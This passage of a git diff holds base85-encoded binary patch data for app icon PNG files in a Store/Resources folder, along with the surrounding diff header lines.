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 RW_4)!|0VzREY-ga{u6AAozDOO literal 0 HcmV?d00001 diff --git a/Store/Resources/AppIcon76x76.png b/Store/Resources/AppIcon76x76.png new file mode 100644 index 0000000000000000000000000000000000000000..595b487d2dcf0b4fc8df57d7de60f408c0993c42 GIT binary patch literal 8761 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 